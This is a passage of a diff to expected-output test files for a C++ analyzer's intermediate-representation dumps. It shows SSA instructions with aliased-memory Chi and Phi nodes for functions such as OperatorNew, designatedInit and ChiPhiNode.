m0_1(unknown) = AliasedDefinition : +# 900| mu0_2(unknown) = UnmodeledDefinition : +# 900| r0_3(glval) = VariableAddress[x] : +# 900| m0_4(int) = InitializeParameter[x] : r0_3 +# 900| m0_5(unknown) = Chi : m0_1, m0_4 +# 901| r0_6(glval) = VariableAddress[x] : +# 901| v0_7(void) = Convert : r0_6 +# 902| v0_8(void) = NoOp : +# 900| v0_9(void) = ReturnVoid : +# 900| v0_10(void) = UnmodeledUse : mu* +# 900| v0_11(void) = ExitFunction : # 904| ConstantConditions(int) -> void # 904| Block 0 # 904| v0_0(void) = EnterFunction : -# 904| mu0_1(unknown) = UnmodeledDefinition : -# 904| r0_2(glval) = VariableAddress[x] : -# 904| m0_3(int) = InitializeParameter[x] : r0_2 -# 905| r0_4(glval) = VariableAddress[a] : -# 905| r0_5(bool) = Constant[1] : -# 905| m0_6(bool) = Store : r0_4, r0_5 -# 906| r0_7(glval) = VariableAddress[b] : -# 906| r0_8(bool) = Constant[1] : -# 906| v0_9(void) = ConditionalBranch : r0_8 -#-----| False -> Block 3 -#-----| True -> Block 2 +# 904| m0_1(unknown) = AliasedDefinition : +# 904| mu0_2(unknown) = UnmodeledDefinition : +# 904| r0_3(glval) = VariableAddress[x] : +# 904| m0_4(int) = InitializeParameter[x] : r0_3 +# 905| r0_5(glval) = VariableAddress[a] : +# 905| r0_6(bool) = Constant[1] : +# 905| m0_7(bool) = Store : r0_5, r0_6 +# 906| r0_8(glval) = VariableAddress[b] : +# 906| r0_9(bool) = Constant[1] : +# 906| v0_10(void) = ConditionalBranch : r0_9 +#-----| False -> Block 2 +#-----| True -> Block 1 # 906| Block 1 -# 906| m1_0(int) = Phi : from 2:m2_3, from 3:m3_3 -# 906| r1_1(glval) = VariableAddress[#temp906:11] : -# 906| r1_2(int) = Load : r1_1, m1_0 -# 906| m1_3(int) = Store : r0_7, r1_2 -# 907| v1_4(void) = NoOp : -# 904| v1_5(void) = ReturnVoid : -# 904| v1_6(void) = UnmodeledUse : mu* -# 904| v1_7(void) = ExitFunction : +# 906| r1_0(glval) = VariableAddress[x] : +# 906| r1_1(int) = Load : r1_0, m0_4 +# 906| r1_2(glval) = VariableAddress[#temp906:11] : +# 906| m1_3(int) = Store : r1_2, r1_1 +# 906| r1_4(glval) = VariableAddress[#temp906:11] : +# 906| r1_5(int) = Load : r1_4, m1_3 +# 906| m1_6(int) = Store : r0_8, r1_5 +# 907| v1_7(void) = NoOp : +# 904| v1_8(void) = ReturnVoid : +# 904| v1_9(void) = UnmodeledUse : mu* +# 904| v1_10(void) = ExitFunction : -# 906| Block 2 -# 906| r2_0(glval) = VariableAddress[x] : -# 906| r2_1(int) = Load : r2_0, m0_3 -# 906| r2_2(glval) = VariableAddress[#temp906:11] : -# 906| m2_3(int) = Store : r2_2, r2_1 -#-----| Goto -> Block 1 - -# 906| Block 3 -# 906| r3_0(glval) = VariableAddress[x] : -# 906| r3_1(int) = Load : r3_0, m0_3 -# 906| r3_2(glval) = VariableAddress[#temp906:11] : -# 906| m3_3(int) = Store : r3_2, r3_1 -#-----| Goto -> Block 1 +# 904| Block 2 +# 904| v2_0(void) = Unreached : # 940| OperatorNew() -> void # 940| Block 0 # 940| v0_0(void) = EnterFunction : -# 940| mu0_1(unknown) = UnmodeledDefinition : -# 941| r0_2(glval) = FunctionAddress[operator new] : -# 941| r0_3(unsigned long) = Constant[4] : -# 941| r0_4(void *) = Call : r0_2, r0_3 -# 941| r0_5(int *) = Convert : r0_4 -# 942| r0_6(glval) = FunctionAddress[operator new] : -# 942| r0_7(unsigned long) = Constant[4] : -# 942| r0_8(float) = Constant[1.0] : -# 942| r0_9(void *) = Call : r0_6, r0_7, r0_8 -# 942| r0_10(int *) = Convert : r0_9 -# 943| r0_11(glval) = FunctionAddress[operator new] : -# 943| r0_12(unsigned long) = Constant[4] : -# 943| r0_13(void *) = Call : r0_11, r0_12 -# 943| r0_14(int *) = Convert : r0_13 -# 943| r0_15(int) = Constant[0] : -# 943| mu0_16(int) = Store : r0_14, r0_15 -# 944| r0_17(glval) = FunctionAddress[operator new] : -# 944| r0_18(unsigned long) = Constant[8] : -# 944| r0_19(void *) = Call : r0_17, r0_18 -# 944| r0_20(String *) = Convert : r0_19 -# 944| r0_21(glval) = FunctionAddress[String] : -# 944| v0_22(void) = Call : r0_21, this:r0_20 -# 945| r0_23(glval) = FunctionAddress[operator new] : -# 945| r0_24(unsigned long) = Constant[8] : -# 945| r0_25(float) = Constant[1.0] : -# 945| r0_26(void *) = Call : r0_23, r0_24, r0_25 -# 945| r0_27(String *) = Convert : r0_26 -# 945| r0_28(glval) = FunctionAddress[String] : -# 945| r0_29(glval) = StringConstant["hello"] : -# 945| r0_30(char *) = Convert : r0_29 -# 945| v0_31(void) = Call : r0_28, this:r0_27, r0_30 -# 946| r0_32(glval) = FunctionAddress[operator new] : -# 946| r0_33(unsigned long) = Constant[256] : -# 946| r0_34(align_val_t) = Constant[128] : -# 946| r0_35(void *) = Call : r0_32, r0_33, r0_34 -# 946| r0_36(Overaligned *) = Convert : r0_35 -# 947| r0_37(glval) = FunctionAddress[operator new] : -# 947| r0_38(unsigned long) = Constant[256] : -# 947| r0_39(align_val_t) = Constant[128] : -# 947| r0_40(float) = Constant[1.0] : -# 947| r0_41(void *) = Call : r0_37, r0_38, r0_39, r0_40 -# 947| r0_42(Overaligned *) = Convert : r0_41 -# 947| r0_43(Overaligned) = Constant[0] : -# 947| mu0_44(Overaligned) = Store : r0_42, r0_43 -# 948| v0_45(void) = NoOp : -# 940| v0_46(void) = ReturnVoid : -# 940| v0_47(void) = UnmodeledUse : mu* -# 940| v0_48(void) = ExitFunction : +# 940| m0_1(unknown) = AliasedDefinition : +# 940| mu0_2(unknown) = UnmodeledDefinition : +# 941| r0_3(glval) = FunctionAddress[operator new] : +# 941| r0_4(unsigned long) = Constant[4] : +# 941| r0_5(void *) = Call : r0_3, r0_4 +# 941| m0_6(unknown) = ^CallSideEffect : m0_1 +# 941| m0_7(unknown) = Chi : m0_1, m0_6 +# 941| r0_8(int *) = Convert : r0_5 +# 942| r0_9(glval) = FunctionAddress[operator new] : +# 942| r0_10(unsigned long) = Constant[4] : +# 942| r0_11(float) = Constant[1.0] : +# 942| r0_12(void *) = Call : r0_9, r0_10, r0_11 +# 942| m0_13(unknown) = ^CallSideEffect : m0_7 +# 942| m0_14(unknown) = Chi : m0_7, m0_13 +# 942| r0_15(int *) = Convert : r0_12 +# 943| r0_16(glval) = FunctionAddress[operator new] : +# 943| r0_17(unsigned long) = Constant[4] : +# 943| r0_18(void *) = Call : r0_16, r0_17 +# 943| m0_19(unknown) = ^CallSideEffect : m0_14 +# 943| m0_20(unknown) = Chi : m0_14, m0_19 +# 943| r0_21(int *) = Convert : r0_18 +# 943| r0_22(int) = Constant[0] : +# 943| m0_23(int) = Store : r0_21, r0_22 +# 943| m0_24(unknown) = Chi : m0_20, m0_23 +# 944| r0_25(glval) = FunctionAddress[operator new] : +# 944| r0_26(unsigned long) = Constant[8] : +# 944| r0_27(void *) = Call : r0_25, r0_26 +# 944| m0_28(unknown) = ^CallSideEffect : m0_24 +# 944| m0_29(unknown) = Chi : m0_24, m0_28 +# 944| r0_30(String *) = Convert : r0_27 +# 944| r0_31(glval) = FunctionAddress[String] : +# 944| v0_32(void) = Call : r0_31, this:r0_30 +# 944| m0_33(unknown) = ^CallSideEffect : m0_29 +# 944| m0_34(unknown) = Chi : m0_29, m0_33 +# 945| r0_35(glval) = FunctionAddress[operator new] : +# 945| r0_36(unsigned long) = Constant[8] : +# 945| r0_37(float) = Constant[1.0] : +# 945| r0_38(void *) = Call : r0_35, r0_36, r0_37 +# 945| m0_39(unknown) = ^CallSideEffect : m0_34 +# 945| m0_40(unknown) = Chi : m0_34, m0_39 +# 945| r0_41(String *) = Convert : r0_38 +# 945| r0_42(glval) = FunctionAddress[String] : +# 945| r0_43(glval) = StringConstant["hello"] : +# 945| r0_44(char *) = Convert : r0_43 +# 945| v0_45(void) = Call : r0_42, this:r0_41, r0_44 +# 945| m0_46(unknown) = ^CallSideEffect : m0_40 +# 945| m0_47(unknown) = Chi : m0_40, m0_46 +# 946| r0_48(glval) = FunctionAddress[operator new] : +# 946| r0_49(unsigned long) = Constant[256] : +# 946| r0_50(align_val_t) = Constant[128] : +# 946| r0_51(void *) = Call : r0_48, r0_49, r0_50 +# 946| m0_52(unknown) = ^CallSideEffect : m0_47 +# 946| m0_53(unknown) = Chi : m0_47, m0_52 +# 946| r0_54(Overaligned *) = Convert : r0_51 +# 947| r0_55(glval) = FunctionAddress[operator new] : +# 947| r0_56(unsigned long) = Constant[256] : +# 947| r0_57(align_val_t) = Constant[128] : +# 947| r0_58(float) = Constant[1.0] : +# 947| r0_59(void *) = Call : r0_55, r0_56, r0_57, r0_58 +# 947| m0_60(unknown) = ^CallSideEffect : m0_53 +# 947| m0_61(unknown) = Chi : m0_53, m0_60 +# 947| r0_62(Overaligned *) = Convert : r0_59 +# 947| r0_63(Overaligned) = Constant[0] : +# 947| m0_64(Overaligned) = Store : r0_62, r0_63 +# 947| m0_65(unknown) = Chi : m0_61, m0_64 +# 948| v0_66(void) = NoOp : +# 940| v0_67(void) = ReturnVoid : +# 940| v0_68(void) = UnmodeledUse : mu* +# 940| v0_69(void) = ExitFunction : # 950| OperatorNewArray(int) -> void # 950| Block 0 # 950| v0_0(void) = EnterFunction : -# 950| mu0_1(unknown) = UnmodeledDefinition : -# 950| r0_2(glval) = VariableAddress[n] : -# 950| m0_3(int) = InitializeParameter[n] : r0_2 -# 951| r0_4(glval) = FunctionAddress[operator new[]] : -# 951| r0_5(unsigned long) = Constant[40] : -# 951| r0_6(void *) = Call : r0_4, r0_5 -# 951| r0_7(int *) = Convert : r0_6 -# 952| r0_8(glval) = FunctionAddress[operator new[]] : -# 952| r0_9(glval) = VariableAddress[n] : -# 952| r0_10(int) = Load : r0_9, m0_3 -# 952| r0_11(unsigned long) = Convert : r0_10 -# 952| r0_12(unsigned long) = Constant[4] : -# 952| r0_13(unsigned long) = Mul : r0_11, r0_12 -# 952| r0_14(void *) = Call : r0_8, r0_13 -# 952| r0_15(int *) = Convert : r0_14 -# 953| r0_16(glval) = FunctionAddress[operator new[]] : -# 953| r0_17(glval) = VariableAddress[n] : -# 953| r0_18(int) = Load : r0_17, m0_3 -# 953| r0_19(unsigned long) = Convert : r0_18 -# 953| r0_20(unsigned long) = Constant[4] : -# 953| r0_21(unsigned long) = Mul : r0_19, r0_20 -# 953| r0_22(float) = Constant[1.0] : -# 953| r0_23(void *) = Call : r0_16, r0_21, r0_22 -# 953| r0_24(int *) = Convert : r0_23 -# 954| r0_25(glval) = FunctionAddress[operator new[]] : -# 954| r0_26(glval) = VariableAddress[n] : -# 954| r0_27(int) = Load : r0_26, m0_3 -# 954| r0_28(unsigned long) = Convert : r0_27 -# 954| r0_29(unsigned long) = Constant[8] : -# 954| r0_30(unsigned long) = Mul : r0_28, r0_29 -# 954| r0_31(void *) = Call : r0_25, r0_30 -# 954| r0_32(String *) = Convert : r0_31 -# 955| r0_33(glval) = FunctionAddress[operator new[]] : -# 955| r0_34(glval) = VariableAddress[n] : -# 955| r0_35(int) = Load : r0_34, m0_3 -# 955| r0_36(unsigned long) = Convert : r0_35 -# 955| r0_37(unsigned long) = Constant[256] : -# 955| r0_38(unsigned long) = Mul : r0_36, r0_37 -# 955| r0_39(align_val_t) = Constant[128] : -# 955| r0_40(void *) = Call : r0_33, r0_38, r0_39 -# 955| r0_41(Overaligned *) = Convert : r0_40 -# 956| r0_42(glval) = FunctionAddress[operator new[]] : -# 956| r0_43(unsigned long) = Constant[2560] : -# 956| r0_44(align_val_t) = Constant[128] : -# 956| r0_45(float) = Constant[1.0] : -# 956| r0_46(void *) = Call : r0_42, r0_43, r0_44, r0_45 -# 956| r0_47(Overaligned *) = Convert : r0_46 -# 957| r0_48(glval) = FunctionAddress[operator new[]] : -# 957| r0_49(glval) = VariableAddress[n] : -# 957| r0_50(int) = Load : r0_49, m0_3 -# 957| r0_51(unsigned long) = Convert : r0_50 -# 957| r0_52(unsigned long) = Constant[1] : -# 957| r0_53(unsigned long) = Mul : r0_51, r0_52 -# 957| r0_54(void *) = Call : r0_48, r0_53 -# 957| r0_55(DefaultCtorWithDefaultParam *) = Convert : r0_54 -# 958| r0_56(glval) = FunctionAddress[operator new[]] : -# 958| r0_57(glval) = VariableAddress[n] : -# 958| r0_58(int) = Load : r0_57, m0_3 -# 958| r0_59(unsigned long) = Convert : r0_58 -# 958| r0_60(unsigned long) = Constant[4] : -# 958| r0_61(unsigned long) = Mul : r0_59, r0_60 -# 958| r0_62(void *) = Call : r0_56, r0_61 -# 958| r0_63(int *) = Convert : r0_62 -# 959| v0_64(void) = NoOp : -# 950| v0_65(void) = ReturnVoid : -# 950| v0_66(void) = UnmodeledUse : mu* -# 950| v0_67(void) = ExitFunction : +# 950| m0_1(unknown) = AliasedDefinition : +# 950| mu0_2(unknown) = UnmodeledDefinition : +# 950| r0_3(glval) = VariableAddress[n] : +# 950| m0_4(int) = InitializeParameter[n] : r0_3 +# 951| r0_5(glval) = FunctionAddress[operator new[]] : +# 951| r0_6(unsigned long) = Constant[40] : +# 951| r0_7(void *) = Call : r0_5, r0_6 +# 951| m0_8(unknown) = ^CallSideEffect : m0_1 +# 951| m0_9(unknown) = Chi : m0_1, m0_8 +# 951| r0_10(int *) = Convert : r0_7 +# 952| r0_11(glval) = FunctionAddress[operator new[]] : +# 952| r0_12(glval) = VariableAddress[n] : +# 952| r0_13(int) = Load : r0_12, m0_4 +# 952| r0_14(unsigned long) = Convert : r0_13 +# 952| r0_15(unsigned long) = Constant[4] : +# 952| r0_16(unsigned long) = Mul : r0_14, r0_15 +# 952| r0_17(void *) = Call : r0_11, r0_16 +# 952| m0_18(unknown) = ^CallSideEffect : m0_9 +# 952| m0_19(unknown) = Chi : m0_9, m0_18 +# 952| r0_20(int *) = Convert : r0_17 +# 953| r0_21(glval) = FunctionAddress[operator new[]] : +# 953| r0_22(glval) = VariableAddress[n] : +# 953| r0_23(int) = Load : r0_22, m0_4 +# 953| r0_24(unsigned long) = Convert : r0_23 +# 953| r0_25(unsigned long) = Constant[4] : +# 953| r0_26(unsigned long) = Mul : r0_24, r0_25 +# 953| r0_27(float) = Constant[1.0] : +# 953| r0_28(void *) = Call : r0_21, r0_26, r0_27 +# 953| m0_29(unknown) = ^CallSideEffect : m0_19 +# 953| m0_30(unknown) = Chi : m0_19, m0_29 +# 953| r0_31(int *) = Convert : r0_28 +# 954| r0_32(glval) = FunctionAddress[operator new[]] : +# 954| r0_33(glval) = VariableAddress[n] : +# 954| r0_34(int) = Load : r0_33, m0_4 +# 954| r0_35(unsigned long) = Convert : r0_34 +# 954| r0_36(unsigned long) = Constant[8] : +# 954| r0_37(unsigned long) = Mul : r0_35, r0_36 +# 954| r0_38(void *) = Call : r0_32, r0_37 +# 954| m0_39(unknown) = ^CallSideEffect : m0_30 +# 954| m0_40(unknown) = Chi : m0_30, m0_39 +# 954| r0_41(String *) = Convert : r0_38 +# 955| r0_42(glval) = FunctionAddress[operator new[]] : +# 955| r0_43(glval) = VariableAddress[n] : +# 955| r0_44(int) = Load : r0_43, m0_4 +# 955| r0_45(unsigned long) = Convert : r0_44 +# 955| r0_46(unsigned long) = Constant[256] : +# 955| r0_47(unsigned long) = Mul : r0_45, r0_46 +# 955| r0_48(align_val_t) = Constant[128] : +# 955| r0_49(void *) = Call : r0_42, r0_47, r0_48 +# 955| m0_50(unknown) = ^CallSideEffect : m0_40 +# 955| m0_51(unknown) = Chi : m0_40, m0_50 +# 955| r0_52(Overaligned *) = Convert : r0_49 +# 956| r0_53(glval) = FunctionAddress[operator new[]] : +# 956| r0_54(unsigned long) = Constant[2560] : +# 956| r0_55(align_val_t) = Constant[128] : +# 956| r0_56(float) = Constant[1.0] : +# 956| r0_57(void *) = Call : r0_53, r0_54, r0_55, r0_56 +# 956| m0_58(unknown) = ^CallSideEffect : m0_51 +# 956| m0_59(unknown) = Chi : m0_51, m0_58 +# 956| r0_60(Overaligned *) = Convert : r0_57 +# 957| r0_61(glval) = FunctionAddress[operator new[]] : +# 957| r0_62(glval) = VariableAddress[n] : +# 957| r0_63(int) = Load : r0_62, m0_4 +# 957| r0_64(unsigned long) = Convert : r0_63 +# 957| r0_65(unsigned long) = Constant[1] : +# 957| r0_66(unsigned long) = Mul : r0_64, r0_65 +# 957| r0_67(void *) = Call : r0_61, r0_66 +# 957| m0_68(unknown) = ^CallSideEffect : m0_59 +# 957| m0_69(unknown) = Chi : m0_59, m0_68 +# 957| r0_70(DefaultCtorWithDefaultParam *) = Convert : r0_67 +# 958| r0_71(glval) = FunctionAddress[operator new[]] : +# 958| r0_72(glval) = VariableAddress[n] : +# 958| r0_73(int) = Load : r0_72, m0_4 +# 958| r0_74(unsigned long) = Convert : r0_73 +# 958| r0_75(unsigned long) = Constant[4] : +# 958| r0_76(unsigned long) = Mul : r0_74, r0_75 +# 958| r0_77(void *) = Call : r0_71, r0_76 +# 958| m0_78(unknown) = ^CallSideEffect : m0_69 +# 958| m0_79(unknown) = Chi : m0_69, m0_78 +# 958| r0_80(int *) = Convert : r0_77 +# 959| v0_81(void) = NoOp : +# 950| v0_82(void) = ReturnVoid : +# 950| v0_83(void) = UnmodeledUse : mu* +# 950| v0_84(void) = ExitFunction : # 961| designatedInit() -> int # 961| Block 0 -# 961| v0_0(void) = EnterFunction : -# 961| mu0_1(unknown) = UnmodeledDefinition : -# 962| r0_2(glval) = VariableAddress[a1] : -# 962| mu0_3(int[1000]) = Uninitialized : r0_2 -# 962| r0_4(int) = Constant[0] : -# 962| r0_5(glval) = PointerAdd : r0_2, r0_4 -# 962| r0_6(unknown[8]) = Constant[0] : -# 962| mu0_7(unknown[8]) = Store : r0_5, r0_6 -#-----| Goto -> Block 2 - -# 962| Block 1 -# 962| r1_0(int) = Constant[900] : -# 962| r1_1(glval) = PointerAdd : r0_2, r1_0 -# 962| r1_2(int) = Constant[10900] : -# 962| mu1_3(int) = Store : r1_1, r1_2 -# 962| r1_4(int) = Constant[901] : -# 962| r1_5(glval) = PointerAdd : r0_2, r1_4 -# 962| r1_6(unknown[396]) = Constant[0] : -# 962| mu1_7(unknown[396]) = Store : r1_5, r1_6 -#-----| Goto -> Block 2 - -# 963| Block 2 -# 963| r2_0(glval) = VariableAddress[#return] : -# 963| r2_1(glval) = VariableAddress[a1] : -# 963| r2_2(int *) = Convert : r2_1 -# 963| r2_3(int) = Constant[900] : -# 963| r2_4(int *) = PointerAdd[4] : r2_2, r2_3 -# 963| r2_5(int) = Load : r2_4, mu0_1 -# 963| m2_6(int) = Store : r2_0, r2_5 -# 961| r2_7(glval) = VariableAddress[#return] : -# 961| v2_8(void) = ReturnValue : r2_7, m2_6 -# 961| v2_9(void) = UnmodeledUse : mu* -# 961| v2_10(void) = ExitFunction : - -# 962| Block 3 -# 962| r3_0(int) = Constant[2] : -# 962| r3_1(glval) = PointerAdd : r0_2, r3_0 -# 962| r3_2(int) = Constant[10002] : -# 962| mu3_3(int) = Store : r3_1, r3_2 -# 962| r3_4(int) = Constant[3] : -# 962| r3_5(glval) = PointerAdd : r0_2, r3_4 -# 962| r3_6(unknown[3588]) = Constant[0] : -# 962| mu3_7(unknown[3588]) = Store : r3_5, r3_6 -#-----| Goto -> Block 2 +# 961| v0_0(void) = EnterFunction : +# 961| m0_1(unknown) = AliasedDefinition : +# 961| mu0_2(unknown) = UnmodeledDefinition : +# 962| r0_3(glval) = VariableAddress[a1] : +# 962| m0_4(int[1000]) = Uninitialized[a1] : r0_3 +# 962| m0_5(unknown) = Chi : m0_1, m0_4 +# 962| r0_6(int) = Constant[0] : +# 962| r0_7(glval) = PointerAdd : r0_3, r0_6 +# 962| r0_8(unknown[8]) = Constant[0] : +# 962| m0_9(unknown[8]) = Store : r0_7, r0_8 +# 962| m0_10(unknown) = Chi : m0_5, m0_9 +# 962| r0_11(int) = Constant[2] : +# 962| r0_12(glval) = PointerAdd : r0_3, r0_11 +# 962| r0_13(int) = Constant[10002] : +# 962| m0_14(int) = Store : r0_12, r0_13 +# 962| m0_15(unknown) = Chi : m0_10, m0_14 +# 962| r0_16(int) = Constant[3] : +# 962| r0_17(glval) = PointerAdd : r0_3, r0_16 +# 962| r0_18(unknown[3588]) = Constant[0] : +# 962| m0_19(unknown[3588]) = Store : r0_17, r0_18 +# 962| m0_20(unknown) = Chi : m0_15, m0_19 +# 962| r0_21(int) = Constant[900] : +# 962| r0_22(glval) = PointerAdd : r0_3, r0_21 +# 962| r0_23(int) = Constant[10900] : +# 962| m0_24(int) = Store : r0_22, r0_23 +# 962| m0_25(unknown) = Chi : m0_20, m0_24 +# 962| r0_26(int) = Constant[901] : +# 962| r0_27(glval) = PointerAdd : r0_3, r0_26 +# 962| r0_28(unknown[396]) = Constant[0] : +# 962| m0_29(unknown[396]) = Store : r0_27, r0_28 +# 962| m0_30(unknown) = Chi : m0_25, m0_29 +# 963| r0_31(glval) = VariableAddress[#return] : +# 963| r0_32(glval) = VariableAddress[a1] : +# 963| r0_33(int *) = Convert : r0_32 +# 963| r0_34(int) = Constant[900] : +# 963| r0_35(int *) = PointerAdd[4] : r0_33, r0_34 +# 963| r0_36(int) = Load : r0_35, mu0_2 +# 963| m0_37(int) = Store : r0_31, r0_36 +# 961| r0_38(glval) = VariableAddress[#return] : +# 961| v0_39(void) = ReturnValue : r0_38, m0_37 +# 961| v0_40(void) = UnmodeledUse : mu* +# 961| v0_41(void) = ExitFunction : # 966| IfStmtWithDeclaration(int, int) -> void # 966| Block 0 # 966| v0_0(void) = EnterFunction : -# 966| mu0_1(unknown) = UnmodeledDefinition : -# 966| r0_2(glval) = VariableAddress[x] : -# 966| m0_3(int) = InitializeParameter[x] : r0_2 -# 966| r0_4(glval) = VariableAddress[y] : -# 966| m0_5(int) = InitializeParameter[y] : r0_4 -# 967| r0_6(glval) = VariableAddress[b] : -# 967| r0_7(glval) = VariableAddress[x] : -# 967| r0_8(int) = Load : r0_7, m0_3 -# 967| r0_9(glval) = VariableAddress[y] : -# 967| r0_10(int) = Load : r0_9, m0_5 -# 967| r0_11(bool) = CompareLT : r0_8, r0_10 -# 967| m0_12(bool) = Store : r0_6, r0_11 -# 967| r0_13(glval) = VariableAddress[b] : -# 967| r0_14(bool) = Load : r0_13, m0_12 -# 967| v0_15(void) = ConditionalBranch : r0_14 +# 966| m0_1(unknown) = AliasedDefinition : +# 966| mu0_2(unknown) = UnmodeledDefinition : +# 966| r0_3(glval) = VariableAddress[x] : +# 966| m0_4(int) = InitializeParameter[x] : r0_3 +# 966| r0_5(glval) = VariableAddress[y] : +# 966| m0_6(int) = InitializeParameter[y] : r0_5 +# 967| r0_7(glval) = VariableAddress[b] : +# 967| r0_8(glval) = VariableAddress[x] : +# 967| r0_9(int) = Load : r0_8, mu0_2 +# 967| r0_10(glval) = VariableAddress[y] : +# 967| r0_11(int) = Load : r0_10, m0_6 +# 967| r0_12(bool) = CompareLT : r0_9, r0_11 +# 967| m0_13(bool) = Store : r0_7, r0_12 +# 967| r0_14(glval) = VariableAddress[b] : +# 967| r0_15(bool) = Load : r0_14, m0_13 +# 967| v0_16(void) = ConditionalBranch : r0_15 #-----| False -> Block 2 #-----| True -> Block 1 @@ -4045,9 +4338,9 @@ ir.cpp: # 970| Block 2 # 970| r2_0(glval) = VariableAddress[z] : # 970| r2_1(glval) = VariableAddress[x] : -# 970| r2_2(int) = Load : r2_1, m0_3 +# 970| r2_2(int) = Load : r2_1, mu0_2 # 970| r2_3(glval) = VariableAddress[y] : -# 970| r2_4(int) = Load : r2_3, m0_5 +# 970| r2_4(int) = Load : r2_3, m0_6 # 970| r2_5(int) = Add : r2_2, r2_4 # 970| m2_6(int) = Store : r2_0, r2_5 # 970| r2_7(glval) = VariableAddress[z] : @@ -4092,11 +4385,12 @@ ir.cpp: # 978| WhileStmtWithDeclaration(int, int) -> void # 978| Block 0 # 978| v0_0(void) = EnterFunction : -# 978| mu0_1(unknown) = UnmodeledDefinition : -# 978| r0_2(glval) = VariableAddress[x] : -# 978| m0_3(int) = InitializeParameter[x] : r0_2 -# 978| r0_4(glval) = VariableAddress[y] : -# 978| m0_5(int) = InitializeParameter[y] : r0_4 +# 978| m0_1(unknown) = AliasedDefinition : +# 978| mu0_2(unknown) = UnmodeledDefinition : +# 978| r0_3(glval) = VariableAddress[x] : +# 978| m0_4(int) = InitializeParameter[x] : r0_3 +# 978| r0_5(glval) = VariableAddress[y] : +# 978| m0_6(int) = InitializeParameter[y] : r0_5 #-----| Goto -> Block 7 # 979| Block 1 @@ -4106,9 +4400,9 @@ ir.cpp: # 981| Block 2 # 981| r2_0(glval) = VariableAddress[z] : # 981| r2_1(glval) = VariableAddress[x] : -# 981| r2_2(int) = Load : r2_1, m0_3 +# 981| r2_2(int) = Load : r2_1, mu0_2 # 981| r2_3(glval) = VariableAddress[y] : -# 981| r2_4(int) = Load : r2_3, m0_5 +# 981| r2_4(int) = Load : r2_3, m0_6 # 981| r2_5(int) = Add : r2_2, r2_4 # 981| m2_6(int) = Store : r2_0, r2_5 # 981| r2_7(glval) = VariableAddress[z] : @@ -4148,9 +4442,9 @@ ir.cpp: # 979| Block 7 # 979| r7_0(glval) = VariableAddress[b] : # 979| r7_1(glval) = VariableAddress[x] : -# 979| r7_2(int) = Load : r7_1, m0_3 +# 979| r7_2(int) = Load : r7_1, mu0_2 # 979| r7_3(glval) = VariableAddress[y] : -# 979| r7_4(int) = Load : r7_3, m0_5 +# 979| r7_4(int) = Load : r7_3, m0_6 # 979| r7_5(bool) = CompareLT : r7_2, r7_4 # 979| m7_6(bool) = Store : r7_0, r7_5 # 979| r7_7(glval) = VariableAddress[b] : @@ -4158,3 +4452,197 @@ ir.cpp: # 979| v7_9(void) = ConditionalBranch : r7_8 #-----| False -> Block 2 #-----| True -> Block 1 + +# 1005| ChiPhiNode(Point *, bool, bool) -> int +# 1005| Block 0 +# 1005| v0_0(void) = EnterFunction : +# 1005| m0_1(unknown) = AliasedDefinition : +# 1005| mu0_2(unknown) = UnmodeledDefinition : +# 1005| r0_3(glval) = VariableAddress[p] : +# 1005| m0_4(Point *) = InitializeParameter[p] : r0_3 +# 1005| r0_5(glval) = VariableAddress[which1] : +# 1005| m0_6(bool) = InitializeParameter[which1] : r0_5 +# 1005| r0_7(glval) = VariableAddress[which2] : +# 1005| m0_8(bool) = InitializeParameter[which2] : r0_7 +# 1006| r0_9(glval) = VariableAddress[which1] : +# 1006| r0_10(bool) = Load : r0_9, m0_6 +# 1006| v0_11(void) = ConditionalBranch : r0_10 +#-----| False -> Block 2 +#-----| True -> Block 1 + +# 1007| Block 1 +# 1007| r1_0(glval) = VariableAddress[p] : +# 1007| r1_1(Point *) = Load : r1_0, m0_4 +# 1007| r1_2(glval) = FieldAddress[x] : r1_1 +# 1007| r1_3(int) = Load : r1_2, m0_1 +# 1007| r1_4(int) = Constant[1] : +# 1007| r1_5(int) = Add : r1_3, r1_4 +# 1007| m1_6(int) = Store : r1_2, r1_5 +# 1007| m1_7(unknown) = Chi : m0_1, m1_6 +#-----| Goto -> Block 3 + +# 1009| Block 2 +# 1009| r2_0(glval) = VariableAddress[p] : +# 1009| r2_1(Point *) = Load : r2_0, m0_4 +# 1009| r2_2(glval) = FieldAddress[y] : r2_1 +# 1009| r2_3(int) = Load : r2_2, m0_1 +# 1009| r2_4(int) = Constant[1] : +# 1009| r2_5(int) = Add : r2_3, r2_4 +# 1009| m2_6(int) = Store : r2_2, r2_5 +# 1009| m2_7(unknown) = Chi : m0_1, m2_6 +#-----| Goto -> Block 3 + +# 1012| Block 3 +# 1012| m3_0(unknown) = Phi : from 1:m1_7, from 2:m2_7 +# 1012| r3_1(glval) = VariableAddress[which2] : +# 1012| r3_2(bool) = Load : r3_1, m0_8 +# 1012| v3_3(void) = ConditionalBranch : r3_2 +#-----| False -> Block 5 +#-----| True -> Block 4 + +# 1013| Block 4 +# 1013| r4_0(glval) = VariableAddress[p] : +# 1013| r4_1(Point *) = Load : r4_0, m0_4 +# 1013| r4_2(glval) = FieldAddress[x] : r4_1 +# 1013| r4_3(int) = Load : r4_2, m3_0 +# 1013| r4_4(int) = Constant[1] : +# 1013| r4_5(int) = Add : r4_3, r4_4 +# 1013| m4_6(int) = Store : r4_2, r4_5 +# 1013| m4_7(unknown) = Chi : m3_0, m4_6 +#-----| Goto -> Block 6 + +# 1015| Block 5 +# 1015| r5_0(glval) = VariableAddress[p] : +# 1015| r5_1(Point *) = Load : r5_0, m0_4 +# 1015| r5_2(glval) = FieldAddress[y] : r5_1 +# 1015| r5_3(int) = Load : r5_2, m3_0 +# 1015| r5_4(int) = Constant[1] : +# 1015| r5_5(int) = Add : r5_3, r5_4 +# 1015| m5_6(int) = Store : r5_2, r5_5 +# 1015| m5_7(unknown) = Chi : m3_0, m5_6 +#-----| Goto -> Block 6 + +# 1018| Block 6 +# 1018| m6_0(unknown) = Phi : from 4:m4_7, from 5:m5_7 +# 1018| r6_1(glval) = VariableAddress[#return] : +# 1018| r6_2(glval) = VariableAddress[p] : +# 1018| r6_3(Point *) = Load : r6_2, m0_4 +# 1018| r6_4(glval) = FieldAddress[x] : r6_3 +# 1018| r6_5(int) = Load : r6_4, m6_0 +# 1018| r6_6(glval) = VariableAddress[p] : +# 1018| r6_7(Point *) = Load : r6_6, m0_4 +# 1018| r6_8(glval) = FieldAddress[y] : r6_7 +# 1018| r6_9(int) = Load : r6_8, m6_0 +# 1018| r6_10(int) = Add : r6_5, r6_9 +# 1018| m6_11(int) = Store : r6_1, r6_10 +# 1005| r6_12(glval) = VariableAddress[#return] : +# 1005| v6_13(void) = 